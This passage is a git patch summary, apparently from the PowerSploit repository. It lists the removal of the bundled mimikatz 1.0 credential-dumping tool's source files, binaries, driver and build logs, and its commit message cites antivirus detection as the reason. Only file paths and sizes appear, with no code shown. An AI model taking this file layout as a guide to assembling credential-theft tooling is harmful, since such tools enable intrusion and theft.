From c5168cdba6a3b2d7dd8d79c8ac9583d3ace6a504 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 3 Feb 2014 17:13:35 -0500 Subject: [PATCH] Removed mimikatz. This doesn't need to reside in PowerSploit. Those that are truly paranoid should validate that the embedded executable in Invoke-Mimikatz.ps1 is indeed mimikatz. This was causing AV to flag upon downloading PowerSploit. --- Exfiltration/mimikatz-1.0/Win32/kappfree.dll | Bin 34816 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/kappfree.exp | Bin 693 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/kappfree.lib | Bin 1702 -> 0 bytes .../mimikatz-1.0/Win32/kelloworld.dll | Bin 93184 -> 0 bytes .../mimikatz-1.0/Win32/kelloworld.exp | Bin 816 -> 0 bytes .../mimikatz-1.0/Win32/kelloworld.lib | Bin 1900 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/klock.dll | Bin 133120 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/klock.exp | Bin 1013 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/klock.lib | Bin 2194 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.dll | Bin 405504 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.exe | Bin 403456 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.exp | Bin 825 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.lib | Bin 1908 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll | Bin 178176 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp | Bin 2144 -> 0 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib | Bin 4094 -> 0 bytes Exfiltration/mimikatz-1.0/commun/globdefs.h | 128 ---- .../mimikatz-1.0/commun/icons/cmd_32.ico | Bin 4286 -> 0 bytes .../mimikatz-1.0/commun/icons/cmd_48.ico | Bin 9662 -> 0 bytes .../mimikatz-1.0/commun/icons/cmd_kiwi.ico | Bin 15086 -> 0 bytes .../commun/icons/mimikatz_bird.ico | Bin 15086 -> 0 bytes .../commun/icons/mimikatz_fruit.ico | Bin 15086 -> 0 bytes .../commun/icons/mimikatz_fruit_16.ico | Bin 1150 -> 0 bytes .../mimikatz-1.0/commun/icons/regedit_32.ico | Bin 4286 -> 0 bytes .../mimikatz-1.0/commun/icons/regedit_48.ico | Bin 9662 -> 0 bytes .../commun/icons/regedit_kiwi.ico | Bin 15086 -> 0 bytes .../mimikatz-1.0/commun/icons/taskmgr_32.ico | Bin 4286 -> 0 bytes .../mimikatz-1.0/commun/icons/taskmgr_48.ico | Bin 9662 -> 0 bytes .../commun/icons/taskmgr_kiwi.ico | Bin 15086 -> 0 bytes Exfiltration/mimikatz-1.0/commun/kmodel.cpp | 139 ---- Exfiltration/mimikatz-1.0/commun/kmodel.h | 21 - Exfiltration/mimikatz-1.0/commun/secpkg.h | 239 ------- Exfiltration/mimikatz-1.0/driver/MAKEFILE | 1 - .../mimikatz-1.0/driver/MSCV-GlobalSign.cer | 32 - Exfiltration/mimikatz-1.0/driver/SOURCES | 9 - Exfiltration/mimikatz-1.0/driver/fsfilters.c | 35 -- Exfiltration/mimikatz-1.0/driver/fsfilters.h | 5 - Exfiltration/mimikatz-1.0/driver/k_types.h | 49 -- Exfiltration/mimikatz-1.0/driver/mimikatz.c | 193 ------ Exfiltration/mimikatz-1.0/driver/mimikatz.h | 26 - .../mimikatz-1.0/driver/minifilters.c | 193 ------ .../mimikatz-1.0/driver/minifilters.h | 12 - Exfiltration/mimikatz-1.0/driver/mod_memory.c | 32 - Exfiltration/mimikatz-1.0/driver/mod_memory.h | 5 - Exfiltration/mimikatz-1.0/driver/modules.c | 110 ---- Exfiltration/mimikatz-1.0/driver/modules.h | 7 - Exfiltration/mimikatz-1.0/driver/notify.h | 19 - .../mimikatz-1.0/driver/notify_image.c | 117 ---- .../mimikatz-1.0/driver/notify_image.h | 10 - .../mimikatz-1.0/driver/notify_object.c | 173 ----- .../mimikatz-1.0/driver/notify_object.h | 79 --- .../mimikatz-1.0/driver/notify_process.c | 137 ---- .../mimikatz-1.0/driver/notify_process.h | 12 - Exfiltration/mimikatz-1.0/driver/notify_reg.c | 137 ---- Exfiltration/mimikatz-1.0/driver/notify_reg.h | 17 - .../mimikatz-1.0/driver/notify_thread.c | 111 ---- .../mimikatz-1.0/driver/notify_thread.h | 11 - Exfiltration/mimikatz-1.0/driver/processes.c | 146 ----- Exfiltration/mimikatz-1.0/driver/processes.h | 33 - Exfiltration/mimikatz-1.0/driver/ssdt.c | 83 --- Exfiltration/mimikatz-1.0/driver/ssdt.h | 13 - .../kappfree/Win32/CL.read.1.tlog | Bin 13668 -> 0 bytes .../kappfree/Win32/CL.write.1.tlog | Bin 528 -> 0 bytes .../kappfree/Win32/cl.command.1.tlog | Bin 1190 -> 0 bytes .../Win32/kappfree.dll.intermediate.manifest | 10 - .../kappfree/Win32/kappfree.lastbuildstate | 2 - .../mimikatz-1.0/kappfree/Win32/kappfree.res | Bin 788 -> 0 bytes .../kappfree/Win32/kappfree.write.1.tlog | 5 - .../kappfree/Win32/link-cvtres.read.1.tlog | 1 - .../kappfree/Win32/link-cvtres.write.1.tlog | 1 - .../kappfree/Win32/link.command.1.tlog | Bin 1510 -> 0 bytes .../kappfree/Win32/link.read.1.tlog | Bin 2184 -> 0 bytes .../kappfree/Win32/link.write.1.tlog | Bin 756 -> 0 bytes .../kappfree/Win32/mt.command.1.tlog | Bin 936 -> 0 bytes .../kappfree/Win32/mt.read.1.tlog | Bin 1094 -> 0 bytes .../kappfree/Win32/mt.write.1.tlog | Bin 574 -> 0 bytes .../kappfree/Win32/rc.command.1.tlog | Bin 628 -> 0 bytes .../kappfree/Win32/rc.read.1.tlog | Bin 2522 -> 0 bytes .../kappfree/Win32/rc.write.1.tlog | Bin 354 -> 0 bytes Exfiltration/mimikatz-1.0/kappfree/kappfree.c | 34 - Exfiltration/mimikatz-1.0/kappfree/kappfree.h | 9 - .../mimikatz-1.0/kappfree/kappfree.rc | Bin 1912 -> 0 bytes .../mimikatz-1.0/kappfree/kappfree.vcxproj | 119 ---- .../kappfree/kappfree.vcxproj.filters | 12 - .../kelloworld/Win32/CL.read.1.tlog | Bin 97396 -> 0 bytes .../kelloworld/Win32/CL.write.1.tlog | Bin 3060 -> 0 bytes .../kelloworld/Win32/cl.command.1.tlog | Bin 4850 -> 0 bytes .../kelloworld.dll.intermediate.manifest | 10 - .../Win32/kelloworld.lastbuildstate | 2 - .../kelloworld/Win32/kelloworld.res | Bin 760 -> 0 bytes .../kelloworld/Win32/kelloworld.write.1.tlog | 5 - .../kelloworld/Win32/link-cvtres.read.1.tlog | 1 - .../kelloworld/Win32/link-cvtres.write.1.tlog | 1 - .../kelloworld/Win32/link.command.1.tlog | Bin 2332 -> 0 bytes .../kelloworld/Win32/link.read.1.tlog | Bin 3694 -> 0 bytes .../kelloworld/Win32/link.write.1.tlog | Bin 1470 -> 0 bytes .../kelloworld/Win32/mt.command.1.tlog | Bin 974 -> 0 bytes .../kelloworld/Win32/mt.read.1.tlog | Bin 1128 -> 0 bytes .../kelloworld/Win32/mt.write.1.tlog | Bin 608 -> 0 bytes .../kelloworld/Win32/rc.command.1.tlog | Bin 700 -> 0 bytes .../kelloworld/Win32/rc.read.1.tlog | Bin 2552 -> 0 bytes .../kelloworld/Win32/rc.write.1.tlog | Bin 414 -> 0 bytes .../librairies/kelloworld/kelloworld.cpp | 12 - .../librairies/kelloworld/kelloworld.h | 9 - .../librairies/kelloworld/kelloworld.rc | Bin 1886 -> 0 bytes .../librairies/kelloworld/kelloworld.vcxproj | 121 ---- .../kelloworld/kelloworld.vcxproj.filters | 44 -- .../librairies/klock/Win32/CL.read.1.tlog | Bin 125158 -> 0 bytes .../librairies/klock/Win32/CL.write.1.tlog | Bin 3668 -> 0 bytes .../librairies/klock/Win32/cl.command.1.tlog | Bin 5964 -> 0 bytes .../Win32/klock.dll.intermediate.manifest | 10 - .../klock/Win32/klock.lastbuildstate | 2 - .../librairies/klock/Win32/klock.res | Bin 740 -> 0 bytes .../librairies/klock/Win32/klock.write.1.tlog | 5 - .../klock/Win32/link-cvtres.read.1.tlog | 1 - .../klock/Win32/link-cvtres.write.1.tlog | 1 - .../klock/Win32/link.command.1.tlog | Bin 2494 -> 0 bytes .../librairies/klock/Win32/link.read.1.tlog | Bin 4222 -> 0 bytes .../librairies/klock/Win32/link.write.1.tlog | Bin 1570 -> 0 bytes .../librairies/klock/Win32/mt.command.1.tlog | Bin 934 -> 0 bytes .../librairies/klock/Win32/mt.read.1.tlog | Bin 1098 -> 0 bytes .../librairies/klock/Win32/mt.write.1.tlog | Bin 578 -> 0 bytes .../librairies/klock/Win32/rc.command.1.tlog | Bin 630 -> 0 bytes .../librairies/klock/Win32/rc.read.1.tlog | Bin 2532 -> 0 bytes .../librairies/klock/Win32/rc.write.1.tlog | Bin 374 -> 0 bytes .../mimikatz-1.0/librairies/klock/klock.cpp | 97 --- .../mimikatz-1.0/librairies/klock/klock.h | 14 - .../mimikatz-1.0/librairies/klock/klock.rc | Bin 1866 -> 0 bytes .../librairies/klock/klock.vcxproj | 131 ---- .../librairies/klock/klock.vcxproj.filters | 53 -- .../sekurlsa/Security Packages/msv1_0.cpp | 153 ----- .../sekurlsa/Security Packages/msv1_0.h | 16 - .../Security Packages/msv1_0_helper.cpp | 53 -- .../Security Packages/msv1_0_helper.h | 28 - .../librairies/sekurlsa/Win32/CL.read.1.tlog | Bin 365578 -> 0 bytes .../librairies/sekurlsa/Win32/CL.write.1.tlog | Bin 10972 -> 0 bytes .../sekurlsa/Win32/cl.command.1.tlog | Bin 17846 -> 0 bytes .../sekurlsa/Win32/link-cvtres.read.1.tlog | 1 - .../sekurlsa/Win32/link-cvtres.write.1.tlog | 1 - .../sekurlsa/Win32/link.command.1.tlog | Bin 4788 -> 0 bytes .../sekurlsa/Win32/link.read.1.tlog | Bin 8124 -> 0 bytes .../sekurlsa/Win32/link.write.1.tlog | Bin 3458 -> 0 bytes .../sekurlsa/Win32/mt.command.1.tlog | Bin 958 -> 0 bytes .../librairies/sekurlsa/Win32/mt.read.1.tlog | Bin 1116 -> 0 bytes .../librairies/sekurlsa/Win32/mt.write.1.tlog | Bin 596 -> 0 bytes .../sekurlsa/Win32/rc.command.1.tlog | Bin 672 -> 0 bytes .../librairies/sekurlsa/Win32/rc.read.1.tlog | Bin 2544 -> 0 bytes .../librairies/sekurlsa/Win32/rc.write.1.tlog | Bin 398 -> 0 bytes .../Win32/sekurlsa.dll.intermediate.manifest | 10 - .../sekurlsa/Win32/sekurlsa.lastbuildstate | 2 - .../librairies/sekurlsa/Win32/sekurlsa.res | Bin 752 -> 0 bytes .../sekurlsa/Win32/sekurlsa.write.1.tlog | 5 - .../librairies/sekurlsa/modules/credman.cpp | 180 ------ .../librairies/sekurlsa/modules/credman.h | 19 - .../librairies/sekurlsa/modules/incognito.cpp | 88 --- .../librairies/sekurlsa/modules/incognito.h | 13 - .../librairies/sekurlsa/modules/sam.cpp | 479 -------------- .../librairies/sekurlsa/modules/sam.h | 210 ------- .../librairies/sekurlsa/modules/secrets.cpp | 99 --- .../librairies/sekurlsa/modules/secrets.h | 29 - .../librairies/sekurlsa/sekurlsa.cpp | 86 --- .../librairies/sekurlsa/sekurlsa.h | 23 - .../librairies/sekurlsa/sekurlsa.rc | Bin 1878 -> 0 bytes .../librairies/sekurlsa/sekurlsa.vcxproj | 154 ----- .../sekurlsa/sekurlsa.vcxproj.filters | 122 ---- Exfiltration/mimikatz-1.0/lisezmoi.txt | 47 -- Exfiltration/mimikatz-1.0/mimikatz.sln | 85 --- .../mimikatz/Win32/CL.read.1.tlog | Bin 1366714 -> 0 bytes .../mimikatz/Win32/CL.write.1.tlog | Bin 57866 -> 0 bytes .../mimikatz/Win32/cl.command.1.tlog | Bin 62526 -> 0 bytes .../mimikatz/Win32/link-cvtres.read.1.tlog | 1 - .../mimikatz/Win32/link-cvtres.write.1.tlog | 1 - .../mimikatz/Win32/link.command.1.tlog | Bin 26804 -> 0 bytes .../mimikatz/Win32/link.read.1.tlog | Bin 44242 -> 0 bytes .../mimikatz/Win32/link.write.1.tlog | Bin 19942 -> 0 bytes .../mimikatz/Win32/mimikatz.lastbuildstate | 2 - .../mimikatz-1.0/mimikatz/Win32/mimikatz.res | Bin 61560 -> 0 bytes .../mimikatz/Win32/mimikatz.write.1.tlog | 5 - .../mimikatz/Win32/rc.command.1.tlog | Bin 628 -> 0 bytes .../mimikatz/Win32/rc.read.1.tlog | Bin 3262 -> 0 bytes .../mimikatz/Win32/rc.write.1.tlog | Bin 354 -> 0 bytes Exfiltration/mimikatz-1.0/mimikatz/global.cpp | 5 - Exfiltration/mimikatz-1.0/mimikatz/global.h | 4 - Exfiltration/mimikatz-1.0/mimikatz/main.cpp | 73 --- .../mimikatz-1.0/mimikatz/mimikatz.cpp | 286 --------- Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h | 57 -- .../mimikatz-1.0/mimikatz/mimikatz.rc | Bin 2528 -> 0 bytes .../mimikatz-1.0/mimikatz/mimikatz.vcxproj | 228 ------- .../mimikatz/mimikatz.vcxproj.filters | 386 ------------ .../mimikatz/modules/LSA Keys/keys_nt5.cpp | 76 --- .../mimikatz/modules/LSA Keys/keys_nt5.h | 17 - .../mimikatz/modules/LSA Keys/keys_nt6.cpp | 186 ------ .../mimikatz/modules/LSA Keys/keys_nt6.h | 45 -- .../modules/Security Packages/kerberos.cpp | 135 ---- .../modules/Security Packages/kerberos.h | 70 --- .../modules/Security Packages/livessp.cpp | 70 --- .../modules/Security Packages/livessp.h | 44 -- .../modules/Security Packages/msv1_0.cpp | 217 ------- .../modules/Security Packages/msv1_0.h | 105 ---- .../modules/Security Packages/ssp.cpp | 92 --- .../mimikatz/modules/Security Packages/ssp.h | 32 - .../modules/Security Packages/tspkg.cpp | 94 --- .../modules/Security Packages/tspkg.h | 37 -- .../modules/Security Packages/wdigest.cpp | 91 --- .../modules/Security Packages/wdigest.h | 29 - .../mimikatz/modules/mod_mimikatz_crypto.cpp | 594 ------------------ .../mimikatz/modules/mod_mimikatz_crypto.h | 36 -- .../mimikatz/modules/mod_mimikatz_divers.cpp | 306 --------- .../mimikatz/modules/mod_mimikatz_divers.h | 30 - .../mimikatz/modules/mod_mimikatz_efs.cpp | 300 --------- .../mimikatz/modules/mod_mimikatz_efs.h | 133 ---- .../mimikatz/modules/mod_mimikatz_handle.cpp | 301 --------- .../mimikatz/modules/mod_mimikatz_handle.h | 23 - .../mimikatz/modules/mod_mimikatz_hash.cpp | 43 -- .../mimikatz/modules/mod_mimikatz_hash.h | 18 - .../modules/mod_mimikatz_impersonate.cpp | 25 - .../modules/mod_mimikatz_impersonate.h | 19 - .../mimikatz/modules/mod_mimikatz_inject.cpp | 120 ---- .../mimikatz/modules/mod_mimikatz_inject.h | 33 - .../modules/mod_mimikatz_minesweeper.cpp | 140 ----- .../modules/mod_mimikatz_minesweeper.h | 72 --- .../mimikatz/modules/mod_mimikatz_nogpo.cpp | 210 ------- .../mimikatz/modules/mod_mimikatz_nogpo.h | 30 - .../modules/mod_mimikatz_privilege.cpp | 167 ----- .../mimikatz/modules/mod_mimikatz_privilege.h | 33 - .../mimikatz/modules/mod_mimikatz_process.cpp | 298 --------- .../mimikatz/modules/mod_mimikatz_process.h | 32 - .../mimikatz/modules/mod_mimikatz_samdump.cpp | 353 ----------- .../mimikatz/modules/mod_mimikatz_samdump.h | 34 - .../modules/mod_mimikatz_sekurlsa.cpp | 348 ---------- .../mimikatz/modules/mod_mimikatz_sekurlsa.h | 64 -- .../mimikatz/modules/mod_mimikatz_service.cpp | 191 ------ .../mimikatz/modules/mod_mimikatz_service.h | 34 - .../modules/mod_mimikatz_standard.cpp | 77 --- .../mimikatz/modules/mod_mimikatz_standard.h | 23 - .../mimikatz/modules/mod_mimikatz_system.cpp | 40 -- .../mimikatz/modules/mod_mimikatz_system.h | 17 - .../modules/mod_mimikatz_terminalserver.cpp | 291 --------- .../modules/mod_mimikatz_terminalserver.h | 55 -- .../mimikatz/modules/mod_mimikatz_thread.cpp | 138 ---- .../mimikatz/modules/mod_mimikatz_thread.h | 27 - .../mimikatz/modules/mod_mimikatz_winmine.cpp | 162 ----- .../mimikatz/modules/mod_mimikatz_winmine.h | 45 -- .../mimikatz-1.0/modules/mod_crypto.cpp | 240 ------- .../mimikatz-1.0/modules/mod_crypto.h | 60 -- .../mimikatz-1.0/modules/mod_cryptoapi.cpp | 138 ---- .../mimikatz-1.0/modules/mod_cryptoapi.h | 26 - .../mimikatz-1.0/modules/mod_cryptong.cpp | 143 ----- .../mimikatz-1.0/modules/mod_cryptong.h | 24 - .../mimikatz-1.0/modules/mod_hash.cpp | 150 ----- Exfiltration/mimikatz-1.0/modules/mod_hash.h | 81 --- .../mimikatz-1.0/modules/mod_hive.cpp | 242 ------- Exfiltration/mimikatz-1.0/modules/mod_hive.h | 88 --- .../mimikatz-1.0/modules/mod_inject.cpp | 72 --- .../mimikatz-1.0/modules/mod_inject.h | 19 - .../mimikatz-1.0/modules/mod_memory.cpp | 140 ----- .../mimikatz-1.0/modules/mod_memory.h | 22 - .../mimikatz-1.0/modules/mod_minidump.cpp | 163 ----- .../mimikatz-1.0/modules/mod_minidump.h | 33 - Exfiltration/mimikatz-1.0/modules/mod_ntddk.h | 322 ---------- .../mimikatz-1.0/modules/mod_parseur.cpp | 38 -- .../mimikatz-1.0/modules/mod_parseur.h | 15 - .../mimikatz-1.0/modules/mod_patch.cpp | 146 ----- Exfiltration/mimikatz-1.0/modules/mod_patch.h | 57 -- .../mimikatz-1.0/modules/mod_pipe.cpp | 121 ---- Exfiltration/mimikatz-1.0/modules/mod_pipe.h | 29 - .../mimikatz-1.0/modules/mod_privilege.cpp | 95 --- .../mimikatz-1.0/modules/mod_privilege.h | 18 - .../mimikatz-1.0/modules/mod_process.cpp | 473 -------------- .../mimikatz-1.0/modules/mod_process.h | 84 --- .../mimikatz-1.0/modules/mod_secacl.cpp | 162 ----- .../mimikatz-1.0/modules/mod_secacl.h | 24 - .../mimikatz-1.0/modules/mod_service.cpp | 142 ----- .../mimikatz-1.0/modules/mod_service.h | 38 -- .../mimikatz-1.0/modules/mod_system.cpp | 208 ------ .../mimikatz-1.0/modules/mod_system.h | 34 - .../mimikatz-1.0/modules/mod_text.cpp | 101 --- Exfiltration/mimikatz-1.0/modules/mod_text.h | 31 - .../mimikatz-1.0/modules/mod_thread.cpp | 77 --- .../mimikatz-1.0/modules/mod_thread.h | 19 - Exfiltration/mimikatz-1.0/modules/mod_ts.cpp | 106 ---- Exfiltration/mimikatz-1.0/modules/mod_ts.h | 35 -- .../mimikatz-1.0/modules/mod_windows.cpp | 26 - .../mimikatz-1.0/modules/mod_windows.h | 22 - .../modules/mod_winsta_desktop.cpp | 29 - .../mimikatz-1.0/modules/mod_winsta_desktop.h | 18 - Exfiltration/mimikatz-1.0/tools/PsExec.exe | Bin 381816 -> 0 bytes Exfiltration/mimikatz-1.0/tools/tee.exe | Bin 16896 -> 0 bytes Exfiltration/mimikatz-1.0/tools/winmine.exe | Bin 119808 -> 0 bytes 289 files changed, 16310 deletions(-) delete mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.dll delete mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.exp delete mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.lib delete mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.dll delete mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.exp delete mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.lib delete mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.dll delete mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.exp delete mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.lib delete mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.dll delete mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.exe delete mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.exp delete mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.lib delete mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll delete mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp delete mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib delete mode 100644 Exfiltration/mimikatz-1.0/commun/globdefs.h delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico delete mode 100644 Exfiltration/mimikatz-1.0/commun/kmodel.cpp delete mode 100644 Exfiltration/mimikatz-1.0/commun/kmodel.h delete mode 100644 Exfiltration/mimikatz-1.0/commun/secpkg.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/MAKEFILE delete mode 100644 Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer delete mode 100644 Exfiltration/mimikatz-1.0/driver/SOURCES delete mode 100644 Exfiltration/mimikatz-1.0/driver/fsfilters.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/fsfilters.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/k_types.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/mimikatz.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/mimikatz.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/minifilters.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/minifilters.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/mod_memory.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/mod_memory.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/modules.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/modules.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_image.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_image.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_object.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_object.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_process.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_process.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_reg.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_reg.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_thread.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/notify_thread.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/processes.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/processes.h delete mode 100644 Exfiltration/mimikatz-1.0/driver/ssdt.c delete mode 100644 Exfiltration/mimikatz-1.0/driver/ssdt.h delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.c delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.h delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.rc delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj delete mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj delete mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.h delete mode 100644 